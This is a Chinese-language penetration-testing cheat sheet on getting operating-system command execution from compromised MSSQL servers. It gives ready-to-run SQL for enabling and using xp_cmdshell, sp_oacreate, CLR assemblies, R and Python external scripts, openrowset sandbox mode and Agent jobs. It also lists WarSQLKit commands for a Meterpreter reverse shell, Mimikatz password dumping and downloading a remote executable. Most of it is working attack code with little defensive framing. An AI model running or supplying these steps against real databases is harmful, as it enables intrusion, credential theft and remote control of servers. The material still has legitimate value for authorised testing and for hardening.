Mssql数据库命令执行总结
字数 942 2025-08-25 22:58:41
MSSQL数据库命令执行技术总结
0x00 简介
本文总结了多种在MSSQL数据库中执行系统命令的技术方法,包括:
- xp_cmdshell利用
- COM组件利用
- CLR利用
- SQL Server 2016 R利用
- SQL Server 2017 Python利用
- 沙盒利用(openrowset)
- Agent Job利用
0x01 xp_cmdshell利用
前提条件
- Mssql数据库服务未降权
- 已获取到数据库密码
技术细节
- 判断xp_cmdshell状态:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
存在即返回1
- 启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
- 执行命令:
exec master..xp_cmdshell 'whoami'
- 恢复被删除的xp_cmdshell:
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
0x02 COM组件利用
前提条件
- Mssql数据库服务未降权
- 已获取到数据库密码
技术细节
- 判断SP_OACREATE状态:
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
- 启用SP_OACREATE:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
- 执行命令(无回显):
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
0x03 CLR利用
CLR简介
从SQL Server 2005开始,SQL Server集成了.NET Framework的公共语言运行时(CLR)组件,允许使用.NET语言编写存储过程、触发器等。
实施步骤
- 启用CLR功能:
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
ALTER DATABASE master SET TRUSTWORTHY ON;
- 导入程序集(使用十六进制格式或文件):
CREATE ASSEMBLY [Database1] AUTHORIZATION [dbo] FROM 0x4D5A9000... WITH PERMISSION_SET = UNSAFE;
- 创建存储过程:
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
- 执行命令:
exec dbo.ExecCommand "whoami";
WarSQLKit工具
WarSQLKit是一个针对MSSQL CLR的渗透工具,提供多种功能:
- 基本命令执行:
EXEC sp_cmdExec 'whoami';
- 以SYSTEM权限执行:
EXEC sp_cmdExec 'whoami /RunSystemPriv';
- Meterpreter反向连接:
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';
- Mimikatz抓密码:
EXEC sp_cmdExec 'sp_Mimikatz';
- 文件下载:
EXEC sp_cmdExec 'sp_downloadFile http://test.com/file.exe C:\ProgramData\file.exe 300';
0x04 R和Python利用
前提条件
- 已安装Machine Learning Services
- 启用外部脚本:
EXEC sp_configure 'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE
R脚本利用
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
Python脚本利用
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
0x05 沙盒利用(openrowset)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
0x06 Agent Job利用
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1',
@step_name = N'test_powershell_name1',
@subsystem = N'PowerShell',
@command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt',
@retry_attempts = 1,
@retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
备忘录
恢复组件
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
-- 其他组件恢复类似
总结
本文详细介绍了多种在MSSQL数据库中执行系统命令的技术,每种方法都有其特定的使用场景和前提条件。在实际渗透测试中,应根据目标环境选择合适的方法。CLR利用和WarSQLKit工具功能最为强大,但需要较高的权限;xp_cmdshell和COM组件利用较为常见;R/Python利用需要特定版本支持;沙盒和Agent Job利用则可以作为备用方案。